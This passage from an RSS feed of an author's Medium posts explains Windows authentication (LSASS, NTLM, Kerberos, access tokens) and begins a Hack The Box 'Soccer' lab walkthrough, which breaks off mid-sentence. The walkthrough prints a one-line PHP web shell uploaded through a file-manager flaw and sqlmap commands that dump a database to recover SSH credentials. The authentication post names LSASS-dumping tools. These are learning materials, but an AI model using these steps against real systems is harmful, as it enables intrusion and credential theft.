Checks Permissions</h3><p>Suppose you double-click</p><pre>salary.xlsx</pre><p>Windows performs:</p><p>Step 1.</p><p>Read your</p><pre>Access Token</pre><p>Step 2.</p><p>Read the file’s</p><pre>Security Descripton</pre><p>Step 3.</p><p>Compare</p><pre>Acess Token<br>↓</pre><pre>SIDs</pre><pre>↓</pre><pre>DACL</pre><pre>↓</pre><pre>Matching ACE</pre><p>If a matching ACE grants access…</p><p>Open file.</p><p>Otherwise…</p><p>Access denied.</p><pre>Part 1 – Introduction<br>- What is Active Directory?<br>- Why was it created?<br><br>Part 2 – Active Directory Basics<br>- Domains<br>- Domain Controllers<br>- OUs<br>- Trees<br>- Forests<br>- Users<br>- Groups<br>- Computers<br>- Service Accounts<br><br>Part 3 – Core Services<br>- DNS<br>- LDAP<br>- NTDS.dit<br><br>Part 4 – Windows Authentication<br>- Winlogon<br>- Credential Provider<br>- LSASS<br>- LSA<br>- SSPI<br>- Authentication Packages<br>- NTLM<br>- Kerberos<br>- KDC<br>- AS<br>- TGT<br>- TGS<br>- Service Tickets<br>- PAC<br>- SPNs<br>- Delegation<br><br>Part 5 – Active Directory Infrastructure<br>- GPO<br>- SYSVOL<br>- NETLOGON<br>- Global Catalog<br>- FSMO<br>- Replication<br><br>Part 6 – Windows Authorization<br>- Access Tokens<br>- SIDs<br>- ACLs<br>- DACLs<br>- ACEs<br>- Security Descriptors<br>- Effective Permissions</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef81391139d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Authentication]]></title>
            <link>https://medium.com/@sethiuddhav/windows-authentication-f322e4150487?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f322e4150487</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[theory]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Sat, 27 Jun 2026 07:41:09 GMT</pubDate>
            <atom:updated>2026-06-27T07:41:09.785Z</atom:updated>
            <content:encoded><![CDATA[<p>When you type your password into Windows, the password is <strong>not sent around the network</strong> every time you access something.</p><p>Instead Windows creates and uses <strong>authentication tokens, tickets, and hashes</strong>.</p><h3>Real-world analogy</h3><ol><li>You enter your ID card at the college gate.</li><li>Security verifies you.</li><li>They give you a wristband.</li><li>Every building inside campus trusts the wristband.</li></ol><p>Windows works similarly.</p><ul><li>Password = prove identity once</li><li>Authentication service = security guard</li><li>Access token/Ticket = wristband</li><li>File shares, servers, applications = buildings</li></ul><pre>When you log in:<br><br>Keyboard<br>   |<br>   v<br>Winlogon.exe<br>   |<br>   v<br>LSASS.exe<br>   |<br>   v<br>Authentication Package<br>(Kerberos / NTLM)<br>   |<br>   v<br>Domain Controller (if domain joined)</pre><h3>LSASS</h3><p><strong>Local Security Authority Subsystem Service</strong></p><p>LSASS is a child process of winit.exe.</p><p>Responsibilities:</p><ul><li>Validates credentials</li><li>Creates access tokens</li><li>Stores Kerberos tickets</li><li>Stores logon sessions</li><li>Stores cached credentials</li></ul><p>That’s why attackers love dumping LSASS.</p><p>Tools:</p><pre>mimikatz<br>nanodump<br>procdump</pre><p>target LSASS because it contains authentication material.</p><h3>Step 1: User Presses Login</h3><p>You type:</p><pre>Username: uddhav<br>Password: Password123</pre><p>Windows doesn’t immediately store the plaintext password.</p><p>Instead it calculates:</p><pre>NT Hash</pre><p>Example:</p><pre>Password123<br>      ↓<br>MD4 hash<br>      ↓<br>NT Hash</pre><p>The hash is what Windows commonly uses internally for authentication operations rather than repeatedly handling the plaintext password.</p><h3>Local Authentication</h3><p>Suppose your machine is NOT joined to Active Directory.</p><pre>WORKGROUP PC</pre><p>Windows checks:</p><pre>SAM Database</pre><p>(Security Account Manager)</p><p>Location:</p><pre>C:\Windows\System32\config\SAM</pre><p>Flow:</p><pre>Password<br>   ↓<br>Hash password<br>   ↓<br>Compare with hash in SAM<br>   ↓<br>Match?<br>   ↓<br>Login</pre><h3>Meet the LSA</h3><p>Inside Windows is a security component called the:</p><pre>Local Security Authority</pre><p>Usually shortened to:</p><pre>LSA</pre><p>This is where beginners get confused.</p><p>They hear:</p><ul><li>LSA</li><li>LSASS</li></ul><p>and think they’re the same.</p><p>They’re related, but not identical.</p><h3>Simple way to remember</h3><p>Think of a company.</p><p>The <strong>Security Department</strong> is:</p><pre>LSA</pre><p>The <strong>building where the department works</strong> is:</p><pre>LSASS.EXE</pre><p>So:</p><ul><li><strong>LSA</strong> = the security system/authority (the logical component)</li><li><strong>LSASS.EXE</strong> = the Windows process implementing many of those security functions</li></ul><h3>The Problem</h3><p>Suppose Windows receives this login:</p><pre>Username:<br>John</pre><pre>Password:<br>*******</pre><p>Question:</p><p>How should it authenticate?</p><p>Possibilities:</p><ul><li>Local account?</li><li>Active Directory?</li><li>Smart Card?</li><li>Fingerprint?</li><li>Face Recognition?</li></ul><p>Windows needs a flexible way to support different authentication methods.</p><h3>Microsoft’s Solution</h3><p>Instead of putting everything into LSASS…</p><p>Microsoft created <strong>Authentication Packages</strong>.</p><p>Think of them as plugins.</p><pre>LSASS</pre><pre>↓</pre><pre>Authentication Package</pre><p>Each package knows how to authenticate in a specific way.</p><h3>Examples</h3><p>For domain logons:</p><pre>Kerberos Packages</pre><p>For older compatibility:</p><pre>NTLM Package</pre><p>Windows chooses the appropriate package for the situation.</p><h3>But How Does LSASS Talk to These Packages?</h3><p>Imagine Microsoft had 20 authentication methods.</p><p>Without a standard interface:</p><p>Every application would need separate code for:</p><ul><li>Kerberos</li><li>NTLM</li><li>Smart Cards</li><li>Biometrics</li></ul><p>Nightmare.</p><h3>Microsoft’s Solution</h3><p>They invented:</p><pre>SSPI</pre><h3>What is SSPI?</h3><p>SSPI means:</p><pre>Security Support Provider Interface</pre><p>Ignore the long name.</p><p>Think of it as:</p><p><strong><em>A standard language that Windows uses to talk to authentication providers.</em></strong></p><h3>Analogy</h3><p>Imagine USB.</p><p>You plug in:</p><ul><li>Keyboard</li><li>Mouse</li><li>Webcam</li><li>Printer</li></ul><p>Why does every device work?</p><p>Because USB is a standard interface.</p><p>The computer doesn’t care who made the keyboard.</p><p>As long as it speaks USB…</p><p>It works.</p><p>SSPI works similarly.</p><p>Applications don’t need to know:</p><ul><li>Kerberos internals</li><li>NTLM internals</li></ul><p>They simply use SSPI.</p><pre>Application<br><br>↓<br><br>SSPI<br><br>↓<br><br>LSASS<br><br>↓<br><br>Authentication Package<br><br>↓<br><br>Kerberos<br><br>or<br><br>NTLM</pre><h3>Security Support Providers (SSPs)</h3><p>Now another term you’ll encounter.</p><p>A <strong>Security Support Provider (SSP)</strong> is a software component that implements a security protocol.</p><p>Examples include providers for:</p><ul><li>Kerberos</li><li>NTLM</li><li>Negotiate</li></ul><p>SSPI is the interface. SSPs implement authentication protocols.</p><h3>The Negotiate Package</h3><p>Here’s something interesting.</p><p>Often Windows doesn’t immediately choose Kerberos or NTLM.</p><p>Instead it first uses:</p><pre>Negotiate</pre><p>Negotiate decides:</p><ul><li>Can Kerberos be used?</li><li>If yes → Kerberos.</li><li>If not → NTLM (in many scenarios).</li></ul><p>We’ll study exactly how this decision is made later.</p><pre>User<br><br>↓<br><br>Credential Provider<br><br>↓<br><br>Winlogon<br><br>↓<br><br>LSASS<br><br>↓<br><br>SSPI<br><br>↓<br><br>Authentication Package<br><br>↓<br><br>Kerberos<br><br>or<br><br>NTLM</pre><h3>Windows Password Hashes</h3><p>Historically, Windows has used different hash formats.</p><p>The important one for modern Windows authentication is the <strong>NT hash</strong>.</p><h3>Microsoft’s Goal</h3><p>Microsoft wanted a system where:</p><ul><li>The server can verify you know your password.</li><li>Your password is <strong>never sent across the network</strong>.</li></ul><p>Think about that.</p><p>How can I prove I know a secret…</p><p>without telling you the secret?</p><p>That sounds impossible.</p><p>But that’s exactly what NTLM tries to do.</p><h3>Analogy</h3><p>Imagine I ask:</p><blockquote><em>“What’s the secret password?”</em></blockquote><p>You don’t answer.</p><p>Instead I ask:</p><blockquote><em>“If you really know the password, solve this puzzle using it.”</em></blockquote><p>Only someone who knows the password can solve the puzzle.</p><p>That’s the basic idea behind NTLM’s <strong>challenge-response</strong> authentication.</p><h3>Before NTLM</h3><p>Suppose:</p><p>Password</p><pre>Cyber123</pre><p>Windows stores</p><pre>NT Hash</pre><pre>ABCDEF123456..</pre><h3>The Login Begins</h3><p>Suppose your laptop wants to access:</p><pre>\\FileServer\Finance</pre><p>Your laptop says:</p><pre>Hello,</pre><pre>I&#39;m Person U.</pre><p>Notice…</p><p>It <strong>does not send the password</strong>.</p><h3>The Server Doesn’t Trust You</h3><p>The server replies:</p><blockquote><em>“Anyone can say they’re Person U”</em></blockquote><blockquote><em>“Prove it.”</em></blockquote><p>So it creates a random number.</p><p>Example:</p><pre>8472619</pre><p>This is called the <strong>Challenge</strong>.</p><p>Every login gets a new random challenge.</p><h3>The Challenge</h3><p>The server sends:</p><pre>Challenge</pre><pre>84726193</pre><p>to your laptop.</p><h3>Now the Interesting Part</h3><p>Your laptop already knows your NT hash.</p><p>Remember:</p><pre>Cyber123</pre><pre>↓</pre><pre>NT Hash</pre><pre>ABCDEF123456...</pre><p>Windows combines:</p><pre>Challenge + NT Hash</pre><p>and performs cryptographic operations to produce a <strong>response</strong>.</p><p>Conceptually:</p><pre>Challenge</pre><pre>84726193</pre><pre>+</pre><pre>NT Hash</pre><pre>↓</pre><pre>Response</pre><pre>92AF7C81...</pre><p>The important point is:</p><p><strong>The NT hash itself is not sent.</strong></p><p>Only the calculated response is sent.</p><h3>The Server Does the Same</h3><p>The server also has access to the stored password-related data for your account.</p><p>It performs the same calculation:</p><pre>Challenge</pre><pre>84726193</pre><pre>+</pre><pre>Stored NT Hash</pre><pre>↓</pre><pre>Expected Response</pre><pre>92AF7C81..</pre><h3>Compare</h3><p>Client says:</p><pre>92AF7C81</pre><p>Server calculates:</p><pre>92AF7C81</pre><p>Same?</p><p>Yes.</p><p>Server concludes:</p><blockquote><em>“The client must know the correct secret.”</em></blockquote><p>Access granted.</p><h3>Notice Something Amazing</h3><p>At no point did Windows send:</p><pre>Cyber123</pre><p>Across the network.</p><p>Even the NT hash itself isn’t normally transmitted in the challenge-response exchange.</p><p>Only the response derived from the challenge and the stored secret is exchanged.</p><h3>Local Login</h3><pre>You<br>↓<br>Windows<br>↓<br>Compare Stored Hash</pre><p>No challenge.</p><p>No server.</p><h3>Network Login (NTLM)</h3><pre>Client<br>↓<br>Server<br>↓<br>Challenge<br>↓<br>Response<br>↓<br>Verification</pre><p>Different process.</p><h3>Why Was NTLM Introduced?</h3><p>Compared to sending plaintext passwords:</p><p>Password isn’t sent.</p><p>Replay attacks are harder because of random challenges.</p><p>But NTLM still has weaknesses, which is one reason Microsoft introduced <strong>Kerberos</strong> for Active Directory domains.</p><p>We’ll compare them after we fully understand NTLM.</p><h3>The First Version</h3><p>When Microsoft first designed NTLM, they created:</p><pre>NTLMv1</pre><p>At that time (early 1990s), it was considered secure.</p><p>But computers became much faster.</p><p>Cryptography improved.</p><p>Attack techniques improved.</p><p>Researchers found weaknesses.</p><h3>The Problem with NTLMv1</h3><p>Imagine your password is:</p><pre>Cyber123</pre><p>NTLMv1 creates a response to the server’s challenge.</p><p>Unfortunately, attackers discovered ways to attack those responses much more efficiently than Microsoft originally expected.</p><p>As computers became faster, recovering weak passwords from captured NTLMv1 challenge-response exchanges became increasingly practical.</p><p>Today:</p><blockquote><strong><em>NTLMv1 is considered insecure and should not be used.</em></strong></blockquote><h3>What Changed?</h3><p>You don’t need every cryptographic detail yet.</p><p>Conceptually:</p><p>NTLMv2 improved security by:</p><ul><li>Stronger cryptographic calculations.</li><li>Better protection against replay and certain offline attacks.</li><li>Including more information in the authentication exchange (such as client-generated data and timestamps).</li></ul><p>The important thing is:</p><p><strong>NTLMv2 is much stronger than NTLMv1.</strong></p><h3>Can Attackers Still Capture NTLMv2?</h3><p>Yes.</p><p>Imagine I intercept the network.</p><p>I may capture the NTLMv2 authentication exchange.</p><p>Does that immediately give me your password?</p><p>No.</p><p>But it may allow offline password guessing or be useful in other attacks depending on the situation.</p><p>This is why strong passwords are still important.</p><h3>Then Why Doesn’t Microsoft Remove NTLM?</h3><p>Excellent question.</p><p>Imagine a company.</p><p>They have:</p><ul><li>Windows XP</li><li>Windows 7</li><li>Windows 10</li><li>Windows 11</li><li>Old printers</li><li>Old NAS devices</li><li>Legacy applications</li></ul><p>Some of those systems don’t support Kerberos.</p><p>Some aren’t domain joined.</p><p>Some expect NTLM.</p><p>If Microsoft suddenly removed NTLM…</p><p>Thousands of companies would stop working.</p><h3>Backward Compatibility</h3><p>Microsoft cares a lot about compatibility.</p><p>Imagine a hospital.</p><p>They have a medical application written in 2008.</p><p>It only understands NTLM.</p><p>Replacing it might cost millions of dollars.</p><p>So Windows keeps supporting NTLM.</p><p>Windows prefers Kerberos <strong>when it can</strong>.</p><p>If Kerberos can’t be used, Windows often falls back to NTLM</p><p>Application says:</p><pre>Authenticate me.</pre><p>Negotiate checks:</p><pre>Can Kerberos work?</pre><p>If yes:</p><pre>Kerberos</pre><p>Otherwise:</p><pre>NTLM</pre><p>That’s why applications don’t have to choose manually.</p><h3>Problem 1 — Too Many Authentications</h3><p>Every server has to authenticate you separately.</p><p>Imagine entering a shopping mall.</p><p>At every shop they ask:</p><blockquote><em>Show your ID.</em></blockquote><p>Then:</p><p>Restaurant.</p><p>Show ID.</p><p>Cinema.</p><p>Show ID.</p><p>Parking.</p><p>Show ID.</p><p>Annoying.</p><p>Microsoft wanted:</p><p>Show your ID once.</p><p>Everyone trusts it.</p><p>If all applications keep asking for repeated challenge+NTM hash it will cost too much time and compuatation power.</p><h3>Problem 2 — Server Stores Password Data</h3><p>With NTLM…</p><p>Every server that authenticates you needs access to password-related information (directly or via a Domain Controller, depending on the scenario).</p><p>Imagine</p><p>100 servers.</p><p>That’s not ideal.</p><h3>Problem 3 — No True Single Sign-On</h3><p>NTLM doesn’t provide the elegant Single Sign-On experience that Kerberos was designed for.</p><p>Microsoft wanted:</p><p>Log in <strong>once</strong>.</p><p>Access everything.</p><h3>Problem 4 — Scalability</h3><p>Imagine</p><pre>100,000 employees</pre><pre>500 servers</pre><p>NTLM requires lots of repeated challenge-response exchanges.</p><p>Kerberos was designed to scale much better in large enterprise environments.</p><h3>The Movie Ticket Analogy</h3><p>Imagine going to a cinema.</p><p>At the entrance:</p><p>You buy a ticket.</p><p>Employee checks your payment.</p><p>Gives you:</p><p>🎫</p><p>Now…</p><p>Do you pay again every time you enter another screen?</p><p>No.</p><p>You show the ticket.</p><p>Security trusts it.</p><p>Kerberos works almost exactly like this.</p><h3>The Characters</h3><p>There are only three.</p><h3>Client</h3><p>That’s you.</p><pre>Laptop</pre><h3>Server</h3><p>Could be</p><pre>File Server</pre><pre>SQL Server</pre><pre>Web Server</pre><h3>Trusted Authority</h3><p>This is the important one.</p><p>Instead of every server authenticating users…</p><p>There is one trusted authority.</p><p>Called the</p><pre>Key Distribution Center</pre><pre>(KDC)</pre><h3>The KDC</h3><p>Think of it as</p><p>Airport Security.</p><p>Everyone trusts airport security.</p><p>If airport security stamps your passport…</p><p>Every gate trusts it.</p><p>The KDC is that trusted authority.</p><p>Where is the KDC?</p><p>Excellent question.</p><p>In Active Directory…</p><p>The KDC runs on…</p><p>The <strong>Domain Controller</strong>.</p><p>Remember our Domain Controller?</p><pre>DC01.company.local</pre><p>It has another job.</p><p>Besides storing Active Directory…</p><p>It also runs the</p><pre>Kerberos Key Distribution Center</pre><p>This is a huge concept.</p><p>The Domain Controller isn’t just:</p><ul><li>LDAP</li><li>Active Directory</li><li>DNS</li></ul><p>It also provides <strong>Kerberos services</strong>.</p><blockquote><strong><em>Kerberos is fundamentally a ticket-based authentication system.</em></strong></blockquote><pre>Client<br><br>↓<br><br>Domain Controller (KDC)<br><br>↓<br><br>Verified<br><br>↓<br><br>Ticket Issued<br><br>↓<br><br>Server<br><br>↓<br><br>Ticket Verified<br><br>↓<br><br>Authenticated<br><br><br>Once authenticated all further apps trust this ticket</pre><p>NTLM proves:</p><p><em>“I know the password.”</em></p><p>Kerberos proves:</p><p><em>“The trusted KDC already verified me.”</em></p><pre>User<br>   │<br>Credential Provider<br>   │<br>Winlogon<br>   │<br>LSASS<br>   │<br>LSA<br>   │<br>Authentication Package<br>   │<br>        ┌─────────────┐<br>        │             │<br>      NTLM       Kerberos<br>                     │<br>                   KDC<br>                 /      \<br>               AS        TGS<br>                │         │<br>               TGT   Service Ticket<br>                     │<br>                 File Server</pre><h3>The Authentication Service (AS) &amp; Ticket Granting Ticket (TGT)</h3><h3>Imagine an Airport</h3><p>Let’s use an analogy we’ll keep for the entire Kerberos section.</p><p>Imagine you’re flying.</p><p>You enter the airport.</p><p>Do you go directly to the airplane?</p><p>No.</p><p>First, airport security verifies:</p><ul><li>Passport</li><li>Visa</li><li>Identity</li></ul><p>Only after verification do they give you something important.</p><p>Your <strong>boarding pass</strong>.</p><p>Without it…</p><p>You can’t board any plane.</p><p>Kerberos works almost exactly the same way</p><p>The KDC isn’t just one thing.</p><p>Think of it as two offices.</p><pre>KDC</pre><pre>│</pre><pre>├── Authentication Service (AS)</pre><pre>└── Ticket Granting Service (TGS)</pre><h3>Authentication Service (AS)</h3><p>The first office.</p><p>Its job is simple.</p><p>It answers one question:</p><blockquote><strong><em>“Who are you?”</em></strong></blockquote><p>That’s it.</p><p>If you prove your identity…</p><p>It gives you a <strong>Ticket Granting Ticket (TGT).</strong></p><h3>Ticket Granting Ticket (TGT)</h3><p>The name sounds strange.</p><p>Let’s simplify it.</p><p>Imagine airport security gives you:</p><pre>VIP Pass</pre><p>This pass <strong>doesn’t let you board a plane directly.</strong></p><p>Instead…</p><p>It lets you request boarding passes for different flights.</p><p>That’s exactly what a TGT does.</p><p>It <strong>doesn’t</strong> give access to servers.</p><p>It gives permission to request <strong>service tickets</strong> later.</p><h3>Why Not Just Give Server Access?</h3><p>Excellent question.</p><p>Imagine you log in.</p><p>Should Windows immediately issue tickets for:</p><ul><li>SQL</li><li>Outlook</li><li>File Server</li><li>SharePoint</li><li>Jenkins</li></ul><p>Even though you might never use them?</p><p>No.</p><p>Waste of resources.</p><p>Instead Windows says:</p><blockquote><em>“Here’s your TGT.”</em></blockquote><p>Whenever you need a service…</p><p>Come back.</p><p>We’ll issue a service ticket then.</p><p>Much more efficient.</p><pre>TGT<br><br>↓<br><br>KDC<br><br>↓<br><br>Service Ticket<br><br>↓<br><br>Server</pre><h3>Introducing the Ticket Granting Service (TGS)</h3><p>Remember the KDC?</p><pre>KDC</pre><pre>│</pre><pre>├── Authentication Service (AS)</pre><pre>└── Ticket Granting Service (TGS)</pre><p>AS already verified you.</p><p>Now TGS has a different job.</p><p>Its only purpose is:</p><blockquote><em>Give service tickets.</em></blockquote><pre>TGT<br><br>↓<br><br>TGS<br><br>↓<br><br>Service Ticket<br><br>↓<br><br>Server</pre><h3>Part 1 — Why Does Kerberos Need Encryption?</h3><p>Imagine you’re carrying a concert ticket.</p><p>If anyone can edit it with Photoshop:</p><pre>Seat 24</pre><p>becomes</p><pre>VIP Seat</pre><p>The ticket becomes useless.</p><p>Kerberos has the same problem.</p><p>the ticket is encrypted and cryptographically protected.</p><h3>Part 2 — Session Keys</h3><p>Imagine you and I want to chat privately.</p><p>Instead of using our passwords repeatedly…</p><p>We generate a temporary password.</p><p>Use it.</p><p>Throw it away afterward.</p><p>That’s a <strong>session key</strong>.</p><p>Every authentication creates temporary keys.</p><h3>Why Temporary?</h3><p>Suppose someone steals yesterday’s session key.</p><p>Can they use it forever?</p><p>No.</p><p>It’s only valid for that session.</p><p>This limits the damage if a temporary key is compromised.</p><h3>Part 3 — PAC (Privilege Attribute Certificate)</h3><p>This is one of the most important Kerberos concepts.</p><p>Imagine you authenticate.</p><p>The KDC knows:</p><pre>Person A</pre><p>But that’s not enough.</p><p>Servers also need to know:</p><ul><li>Are you a Domain Admin?</li><li>Are you in Finance?</li><li>Can you access HR files?</li></ul><p>Where is all that information stored?</p><p>Microsoft created:</p><pre>PAC<br>Privilege Attribute Certificate</pre><p>Think of it as your <strong>employee ID card</strong>.</p><p>It tells servers:</p><blockquote><em>“This is who the KDC says this user is.”</em></blockquote><h3>Why Does the Server Need It?</h3><p>Suppose you access</p><pre>Finance Share</pre><p>The server asks</p><pre>Are you allowed</pre><p>Instead of contacting the Domain Controller every second…</p><p>The server reads the PAC.</p><p>It already contains your group memberships.</p><p>Much faster.</p><h3>Part 4 — Service Principal Names (SPNs)</h3><p>This is one of the most important topics for penetration testing.</p><p>Let’s start with a simple question.</p><h3>Users Have Usernames</h3><p>Example</p><pre>John</pre><p>Computers have names.</p><pre>PC01</pre><p>Question.</p><p>How does Kerberos identify a <strong>service</strong>?</p><p>For example</p><p>SQL Server.</p><p>Microsoft invented</p><pre>SPN<br>Service Principal Name</pre><h3>An SPN uniquely identifies a service.</h3><h3>Example</h3><p>Suppose SQL Server runs on</p><pre>SQL01.company.local</pre><p>Its SPN might look like:</p><pre>MSSQLSvc/SQL01.company.local</pre><pre>User<br> │<br> ▼<br>Credential Provider<br> │<br> ▼<br>Winlogon<br> │<br> ▼<br>LSASS<br> │<br> ▼<br>Local or Domain?<br> │<br> ├───────────────┐<br> │               │<br> ▼               ▼<br>SAM          Kerberos<br>                 │<br>                 ▼<br>                AS<br>                 │<br>                TGT<br>                 │<br>                 ▼<br>                TGS<br>                 │<br>          Service Ticket<br>                 │<br>                 ▼<br>            File Server<br>                 │<br>                 ▼<br>          Access Granted</pre><h3>What Happens After Successful Login?</h3><p>Windows creates:</p><pre>Access Token</pre><p>Think:</p><pre>Access Token = Your identity card</pre><p>Contains:</p><ul><li>User SID</li><li>Group memberships</li><li>Privileges</li><li>Integrity level</li></ul><p>Example:</p><pre>User: Person A<br>Groups:<br>   Users<br>   Remote Desktop Users<br>   Administrator</pre><p>Every process you launch inherits this token.</p><pre>explorer.exe<br>chrome.exe<br>cmd.exe<br>powershell</pre><p>all receive your tokens</p><h3>Kerberos Ticket</h3><p>Answers:</p><blockquote><strong><em>Who are you?</em></strong></blockquote><h3>Access Token</h3><p>Answers:</p><blockquote><strong><em>What are you allowed to do?</em></strong></blockquote><p>Huge difference.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f322e4150487" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB_LABS:SOCCER]]></title>
            <link>https://medium.com/@sethiuddhav/htb-labs-soccer-cbe750698225?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbe750698225</guid>
            <category><![CDATA[soccer]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[doa]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Thu, 25 Jun 2026 06:34:55 GMT</pubDate>
            <atom:updated>2026-06-25T06:34:55.018Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><pre>sudo nmap -sV -Pn -p- --min-rate 5000 -T4 10.129.174.80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*h3fFMDnqfZpIPvsDvBWmWQ.png" /></figure><pre>gobuster dir -u http://soccer.htb \<br>-w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>-x php,txt,html</pre><p>nothing much of worth so lets use a bigger word file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hq3O5lL5XmoW4XQhq_g6Dw.png" /></figure><pre>gobuster dir -u http://soccer.htb \<br>-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \<br>-x php \<br>-t 50</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*I7WnfpJnGvLjoLnGNkCUmg.png" /></figure><p>I found a directory /tiny which led me to a file manager login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8hDqWupXCQsP1rrZHFrMg.png" /></figure><p>A simple google search gave me-The default credentials for Tiny File Manager vary slightly by edition or deployment, but generally default to the following: username-admin password-admin@123</p><p>i logged in using these succesfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c__mswdV69vQ-uIbQIk1-g.png" /></figure><p>Notice <a href="https://tinyfilemanager.github.io/">Tiny File Manager 2.4.3</a> at bottom.</p><p>Version 2.4.3 and older versions are susceptible to a Path Traversal vulnerability in the file upload function</p><p>(CVE-2021–45010)</p><p>Lets upload a simple web shell</p><pre>&lt;?php<br>system($_REQUEST[&#39;cmd&#39;]);<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*DtZwXRMCXPp_YzqiZVQkew.png" /></figure><p>This file is uploaded in tiny/uploads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsfw6lXgWwKM97KhaHzirA.png" /></figure><p>Now we can modify this in burp to get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXc3NFIZJY371E_a9txuOQ.png" /></figure><p>Got the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*hlpKPdmqYyBOptwhp6xYdA.png" /></figure><p>But cant cat user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*p6CwtvsG93oN5CiQfoklaQ.png" /></figure><pre>cat /etc/doas.conf</pre><h3>Why?</h3><p>doas is like sudo.</p><p>If configured badly:</p><pre>permit nopass www-data as root</pre><p>you instantly become root.</p><h3>sudo vs doas</h3><h3>sudo</h3><pre>sudo whoami</pre><p>Output:</p><pre>root</pre><p>if allowed.</p><h3>doas</h3><pre>doas whoami</pre><p>Output:</p><pre>root</pre><p>if allowed.</p><p>Same idea.</p><p>Different program.</p><p>But:</p><pre>No such file or director</pre><p>means doas isn&#39;t installed.</p><h3>checked a restricted directory</h3><p>You found:</p><pre>ls -la /usr/local/share/dstat/</pre><p>and got:</p><pre>Permission denied</pre><p>Why check it?</p><p><strong>dstat privilege escalation</strong>.</p><h3>What is /usr?</h3><p>Historically:</p><pre>/usr</pre><p>contains programs and software.</p><p>Examples:</p><pre>/usr/bin<br>/usr/lib<br>/usr/share</pre><h3>What is /usr/local?</h3><p>Think:</p><pre>/usr        = software installed by the OS<br>/usr/local  = software installed manually by admins</pre><p>Many custom programs live here.</p><h3>What is /usr/local/share?</h3><p>Usually contains:</p><pre>documentation<br>templates<br>plugins<br>data files</pre><p>used by applications.</p><h3>What is dstat?</h3><p>dstat is a Linux monitoring tool.</p><p>Think of it as a more powerful version of:</p><pre>top</pre><p>It shows:</p><pre>CPU usage<br>Memory usage<br>Disk activity<br>Network traffic</pre><p>dstat has plugin mechanisms.</p><p>So when they see:</p><pre>/usr/local/share/dstat/</pre><p><em>Maybe there are writable plugins here.</em></p><h3>The big discovery</h3><pre>cat /etc/nginx/sites-enabled/soc-player.htb</pre><p>This is where the important clue appeared.</p><p>found:</p><pre>server_name soc-player.soccer.htb;</pre><p>which means</p><pre>There is another website.</pre><p>discovered:</p><pre>soccer.htb<br>soc-player.soccer.htb</pre><p>are different virtual hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojjR-1DlIjHxdkunqgzfIA.png" /></figure><p>i create an account abcd@abcd.com logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2CxcxczNjgfrCMBueCVGQ.png" /></figure><p>and then intercepted this request to enumerate the input type.</p><p>Its using web Sockets.</p><p>Looks like sql injection is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJcfphtgYtOB0FNzyFsJLw.png" /></figure><p>lets save this in a file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*iHvinZm3myPQJejyALteeA.png" /></figure><p>lets try</p><pre>sqlmap -u &#39;ws://soc-player.soccer.htb:9091/&#39; --data &#39;{&quot;id&quot;:&quot;*&quot;}&#39; - batch</pre><p>This did not return anything of value lets increase the risk and level</p><pre>sqlmap -u &#39;ws://soc-player.soccer.htb:9091/&#39; --data &#39;{&quot;id&quot;:&quot;*&quot;}&#39; --technique=B --risk 3 --level 5 --batch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFHLkAJ-jLo7eKckrkpuuA.png" /></figure><p>that did the trick</p><pre>sqlmap -u &#39;ws://soc-player.soccer.htb:9091/&#39; --data &#39;{&quot;id&quot;:&quot;*&quot;}&#39; --technique=B --risk 3 --level 5 --batch --dbs</pre><p>now lets check for data bases</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*g4sarmZ3tsOc-lWOe4zTIg.png" /></figure><p>soccer_db is probably the one we need</p><pre> sqlmap -u &#39;ws://soc-player.soccer.htb:9091/&#39; --data &#39;{&quot;id&quot;:&quot;*&quot;}&#39; --technique=B --risk 3 --level 5 --batch -D soccer_db --dump --threads 10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgQPM20zOUyFkLS2yjWlqQ.png" /></figure><p>jackpot</p><p>player@player.htb</p><p>PlayerOftheMatch2022</p><p>player</p><p>this is the creds for the site but user id player made me think this could be ssh username. So i used it in ssh with same creds as app and got the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hTE7_tIi1oFve3v1x0F3bg.png" /></figure><h3>Identifying the Privilege Escalation Vector</h3><p>After obtaining a shell as the player user, I began the standard privilege escalation 